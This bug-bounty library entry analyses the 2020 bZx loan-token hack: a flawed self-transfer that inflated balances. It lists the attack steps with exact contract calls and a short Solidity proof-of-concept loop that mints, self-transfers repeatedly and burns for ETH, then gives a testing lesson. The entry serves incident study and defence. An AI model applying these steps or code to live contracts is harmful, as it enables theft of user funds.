# bZx: incorrect transfer inflates loan token balance

bZx loan token transfer bug let attacker mint with 200 ETH, self-transfer to inflate balance, then burn for profit.

- Payout: Real-world hack
- Severity: critical
- Program: bzx
- Analysis by: DeFiHackLabs
- Disclosed: 2020-09-12
- Write-up quality: 6/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2020-09/bzx_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20200912-bzx
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity vuln:accounting-error vuln:business-logic

**Target:** bZx loan token contract (iToken)
**Root cause:** The loan token's transfer function incorrectly updates balances when transferring to self, allowing the sender's balance to be inflated without actual token movement.
**Steps:**
1. Obtain 200 ETH (simulated flash loan).
2. Call `loanToken.mintWithEther{value: 200 ether}(address(this))` to mint loan tokens.
3. Loop 4 times: read `balance = loanToken.balanceOf(address(this))` and call `loanToken.transfer(address(this), balance)`.
4. After loop, read final balance and call `loanToken.burnToEther(address(this), balance)` to redeem inflated tokens for ETH.
5. Repay flash loan (simulated by transferring 200 ETH to address(0)).
**Exploitation:** Attacker used a flash loan of 200 ETH to mint loan tokens, then repeatedly self-transferred the entire balance to artificially inflate the token balance due to a flawed transfer implementation. Finally, burned the inflated balance to withdraw more ETH than deposited, draining funds.
**Insight:** Self-transfers can break accounting in tokens that update balances incorrectly; test transfer-to-self and repeated transfers to detect balance inflation bugs.

## Proof of concept (copied exactly from the original report)

**Self-transfer loop inflating loan token balance**

```
// transfer token to myself repeatedly
        for (int256 i = 0; i < 4; i++) {
            uint256 balance = loanToken.balanceOf(address(this));
            loanToken.transfer(address(this), balance);
        }

        uint256 balance = loanToken.balanceOf(address(this));
        loanToken.burnToEther(address(this), balance);
```

